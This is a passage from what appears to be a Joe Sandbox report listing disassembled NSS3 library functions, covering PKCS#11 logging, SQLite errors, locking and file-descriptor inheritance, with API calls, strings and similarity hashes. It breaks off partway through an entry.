hKey = 0x%x, xrefs: 6CE4AE62, 6CE4AE72
hSession = 0x%x, xrefs: 6CE4AE01, 6CE4AE11
C_MessageSignInit, xrefs: 6CE4ADE1
(CK_INVALID_HANDLE), xrefs: 6CE4AE1F, 6CE4AE80

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: ba6680908e120ac2059e44954e229ee86e9e2bb44208d78e4a57c2e9d3d1ffe0
Instruction ID: 2ee44c0d82cb299c924f997ac88901e488a7f9807e31b649d512f2a5880b5cbd
Opcode Fuzzy Hash: ba6680908e120ac2059e44954e229ee86e9e2bb44208d78e4a57c2e9d3d1ffe0
Instruction Fuzzy Hash: 1B310772A40124EFDB419F54FC48FAA3775BF4632DF158438E8095BB01DB359859CBA1

Function 6CE49EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CE49F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE49F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE49F49

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE49F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE49F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE49FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CE49FC0

Strings

C_MessageEncryptInit, xrefs: 6CE49F01
hKey = 0x%x, xrefs: 6CE49F82, 6CE49F92
hSession = 0x%x, xrefs: 6CE49F21, 6CE49F31
(CK_INVALID_HANDLE), xrefs: 6CE49F3F, 6CE49FA0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: c9e1847d13bb409fbd158ca8bf12a5cfe7d203a879e73029cc96d83bd45986fb
Instruction ID: 60f3bfcc991f5f69f430140e55139f4139a1678c7a95f1bdde6196514728140a
Opcode Fuzzy Hash: c9e1847d13bb409fbd158ca8bf12a5cfe7d203a879e73029cc96d83bd45986fb
Instruction Fuzzy Hash: B3312531A01224EFDB419F54FD89BBE3779BF4231DF148428E80867B42DB759808CBA1

Function 6CEE4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CEE4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CEE4CFD
sqlite3_value_text16.NSS3(?), ref: 6CEE4D44

Strings

API call with %s database connection pointer, xrefs: 6CEE4CF6
bad parameter or other API misuse, xrefs: 6CEE4D05
abort due to ROLLBACK, xrefs: 6CEE4D27, 6CEE4D33
no more rows available, xrefs: 6CEE4D2E
unknown error, xrefs: 6CEE4D56
another row available, xrefs: 6CEE4D20
out of memory, xrefs: 6CEE4C78, 6CEE4C9E
invalid, xrefs: 6CEE4CF1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 2febd359a6206b04a918422c3464eeb9d270fc545b8ce131ef786e55ae727952
Instruction ID: 44bdc81ebc718ea2f5d7d7c6f7009a983468531c37d57fe6bc748877041f7130
Opcode Fuzzy Hash: 2febd359a6206b04a918422c3464eeb9d270fc545b8ce131ef786e55ae727952
Instruction Fuzzy Hash: 263148B3E04C11A7E71546A4A8017E57772B78F39CF364127D4254BF59D725AC2283E2

Function 6CE42DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CE42DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE42E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE42E33

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE42E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE42E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE42E81

Strings

ulPinLen = %d, xrefs: 6CE42E7C
hSession = 0x%x, xrefs: 6CE42E0E, 6CE42E1E
pPin = 0x%p, xrefs: 6CE42E63
C_InitPIN, xrefs: 6CE42DF1
(CK_INVALID_HANDLE), xrefs: 6CE42E2C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 3e4457d2f6a812a5ac7fce12215390fbfc741bbc45d43cb4d688fad8185fa912
Instruction ID: 2d84cf3add093310665073101ea3ead95e35aaa477f7454c5792cfb417421e8b
Opcode Fuzzy Hash: 3e4457d2f6a812a5ac7fce12215390fbfc741bbc45d43cb4d688fad8185fa912
Instruction Fuzzy Hash: 2631D071E11124EFCB429B94AD4CF8A3775AB4231CF158028E909A7B11DB369959CBB1

Function 6CE46EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CE46F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE46F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE46F53

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE46F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE46F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE46FA1

Strings

ulPartLen = %d, xrefs: 6CE46F9C
C_DigestUpdate, xrefs: 6CE46F11
hSession = 0x%x, xrefs: 6CE46F2E, 6CE46F3E
pPart = 0x%p, xrefs: 6CE46F83
(CK_INVALID_HANDLE), xrefs: 6CE46F4C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: e7dcf9ad85f5a88736f292ee78cbae1f2813b650b77a5cd9910de2b8d8a0807b
Instruction ID: d5a56a5e17a6ff252d1f59452bb36d27d0f22f6bd9395cd751672e89c3f0a484
Opcode Fuzzy Hash: e7dcf9ad85f5a88736f292ee78cbae1f2813b650b77a5cd9910de2b8d8a0807b
Instruction Fuzzy Hash: E931E431A11120EFDB419F94ED49B8A37B5EB4231DF198028E808A7B12DB329D58CBF1

Function 6CE47E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CE47E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE47E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE47E63

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE47E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE47E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE47EB1

Strings

ulPartLen = %d, xrefs: 6CE47EAC
C_VerifyUpdate, xrefs: 6CE47E21
hSession = 0x%x, xrefs: 6CE47E3E, 6CE47E4E
pPart = 0x%p, xrefs: 6CE47E93
(CK_INVALID_HANDLE), xrefs: 6CE47E5C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 6248500e090047dcd44e1af22c74db9f0ae9dc64a09f3fa154ab282c95d135c1
Instruction ID: e3184b223d033d55f44657590a2a04eb330ae553681fb9d606895f95c95d5781
Opcode Fuzzy Hash: 6248500e090047dcd44e1af22c74db9f0ae9dc64a09f3fa154ab282c95d135c1
Instruction Fuzzy Hash: 8E31C135E01124EFDB419BA4ED48F9A3BB5AF4231CF158028E90997B12DB369D08CBF1

Function 6CE47F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CE47F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE47F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE47F93

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE47FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE47FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE47FE1

Strings

hSession = 0x%x, xrefs: 6CE47F6E, 6CE47F7E
pSignature = 0x%p, xrefs: 6CE47FC3
ulSignatureLen = %d, xrefs: 6CE47FDC
C_VerifyFinal, xrefs: 6CE47F51
(CK_INVALID_HANDLE), xrefs: 6CE47F8C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 180d3219a7154f6712f0f9219d5123ed2b778b19e03bc6f5d4d17a2739e55b10
Instruction ID: 8ddc3f60b000cfb60fa7773bd74bc53a5a4d160b47d320e4116e337c82dc3db5
Opcode Fuzzy Hash: 180d3219a7154f6712f0f9219d5123ed2b778b19e03bc6f5d4d17a2739e55b10
Instruction Fuzzy Hash: E831F131A11124EFDB41DB94FD49F8A3BB1AF4231DF198429E80897B11DB329848CBF2

Function 6CEE2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CEE2D9F

Part of subcall function 6CD9CA30: EnterCriticalSection.KERNEL32(?,?,?,6CDFF9C9,?,6CDFF4DA,6CDFF9C9,?,?,6CDC369A), ref: 6CD9CA7A
Part of subcall function 6CD9CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CD9CB26

sqlite3_exec.NSS3(?,?,6CEE2F70,?,?), ref: 6CEE2DF9
sqlite3_free.NSS3(00000000), ref: 6CEE2E2C
sqlite3_free.NSS3(?), ref: 6CEE2E3A
sqlite3_free.NSS3(?), ref: 6CEE2E52
sqlite3_mprintf.NSS3(6CF4AAF9,?), ref: 6CEE2E62
sqlite3_free.NSS3(?), ref: 6CEE2E70
sqlite3_free.NSS3(?), ref: 6CEE2E89
sqlite3_free.NSS3(?), ref: 6CEE2EBB
sqlite3_free.NSS3(?), ref: 6CEE2ECB
sqlite3_free.NSS3(00000000), ref: 6CEE2F3E
sqlite3_free.NSS3(?), ref: 6CEE2F4C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2a52b304d9e35fd6143c13317eae520a90bb43ff6c5c43d818a5e29b91d3fc18
Instruction ID: 8b919c97861b4874754bc4cf702efc07013fd093543d57a1e78de8391467da87
Opcode Fuzzy Hash: 2a52b304d9e35fd6143c13317eae520a90bb43ff6c5c43d818a5e29b91d3fc18
Instruction Fuzzy Hash: 1C619EB5E012168BEB01CFA8D885B9EB7B1EF5938CF254028DD15AB711E731E845CBA1

Function 6CE27C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CF72120,Function_00097E60,00000000,?,?,?,?,6CEA067D,6CEA1C60,00000000), ref: 6CE27C81

Part of subcall function 6CD94C70: TlsGetValue.KERNEL32(?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94C97
Part of subcall function 6CD94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CB0
Part of subcall function 6CD94C70: PR_Unlock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CC9

TlsGetValue.KERNEL32 ref: 6CE27CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE27CB4
PR_Unlock.NSS3 ref: 6CE27CCF

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

TlsGetValue.KERNEL32 ref: 6CE27D04
EnterCriticalSection.KERNEL32(?), ref: 6CE27D1B
realloc.MOZGLUE(-00000050), ref: 6CE27D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE27DF4
PR_Unlock.NSS3 ref: 6CE27E0E

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 1f408f7cc324c0b0ea10071fa331511a5628c4276c1535f9c83c6687e375c896
Instruction ID: 773286aff919a43fef13c76c0e5898b17ee659942f9afd035627fc50a013c82e
Opcode Fuzzy Hash: 1f408f7cc324c0b0ea10071fa331511a5628c4276c1535f9c83c6687e375c896
Instruction Fuzzy Hash: 9651FF71E24110DBDF42AF28EC85B6537B5FB4331CF36412EEA4487722EB769851CAA1

Function 6CD94C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CB0
PR_Unlock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94D97
PR_Lock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94DBA
PR_WaitCondVar.NSS3 ref: 6CD94DD4
PR_Unlock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94DEF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 66988120a0bb7ed32f7b820de7b18938b2a6a69a0c77d60d0292f86a90ef12a1
Instruction ID: a2f2dc542bd20e10c3879bbb497893aefd21946b131f2172a15eca5ab02b8e60
Opcode Fuzzy Hash: 66988120a0bb7ed32f7b820de7b18938b2a6a69a0c77d60d0292f86a90ef12a1
Instruction Fuzzy Hash: 5B41A1B9E24714CFCF41AF79D4942597BB0BF06314F168639D8989B721EB30D884CB91

Function 6CF27CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF27CE0

Part of subcall function 6CED9BF0: TlsGetValue.KERNEL32(?,?,?,6CF20A75), ref: 6CED9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF27D36
PR_Realloc.NSS3(?,00000080), ref: 6CF27D6D
PR_GetCurrentThread.NSS3 ref: 6CF27D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF27DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF27DD8
malloc.MOZGLUE(00000080), ref: 6CF27DF8
PR_GetCurrentThread.NSS3 ref: 6CF27E06

Strings

:%s:%d:0x%lx, xrefs: 6CF27DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF27DF0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 96e7d2dba4d914b63581810b6a0d84f49bfc31779f2801346f89f227a9d09e4e
Instruction ID: b663366ce473145ee5d088db9b270538391f05acab1b12f83481eaed6f9c65e8
Opcode Fuzzy Hash: 96e7d2dba4d914b63581810b6a0d84f49bfc31779f2801346f89f227a9d09e4e
Instruction Fuzzy Hash: 7441F7B1A002019FDB04CF78CC90AAB37B6FF80318B65456EE8199BB52D735EC41CBA1

Function 6CF27E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF27E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF27E46

Part of subcall function 6CE01240: TlsGetValue.KERNEL32(00000040,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01267
Part of subcall function 6CE01240: EnterCriticalSection.KERNEL32(?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE0127C
Part of subcall function 6CE01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01291
Part of subcall function 6CE01240: PR_Unlock.NSS3(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE012A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF27EAF
PR_ImportFile.NSS3(?), ref: 6CF27ECF
PR_GetCurrentThread.NSS3 ref: 6CF27ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF27F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF27F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF27F15

Strings

%d:0x%lx, xrefs: 6CF27EA9
NSPR_INHERIT_FDS, xrefs: 6CF27E41

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: a898b89a85cbe1f75ff725c1fea458e77a679099b40ae15c70a76bc77ab44b14
Instruction ID: f586cea5664b8acc1d13cf0f2773ce7996ccac05cdf11f4a0264d42380547305
Opcode Fuzzy Hash: a898b89a85cbe1f75ff725c1fea458e77a679099b40ae15c70a76bc77ab44b14
Instruction Fuzzy Hash: B23134B1E085159BEB009BE9CC40AFBB7B9FF05358F200527D85597A11E7659D04C7E1

Function 6CE34E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE34E90
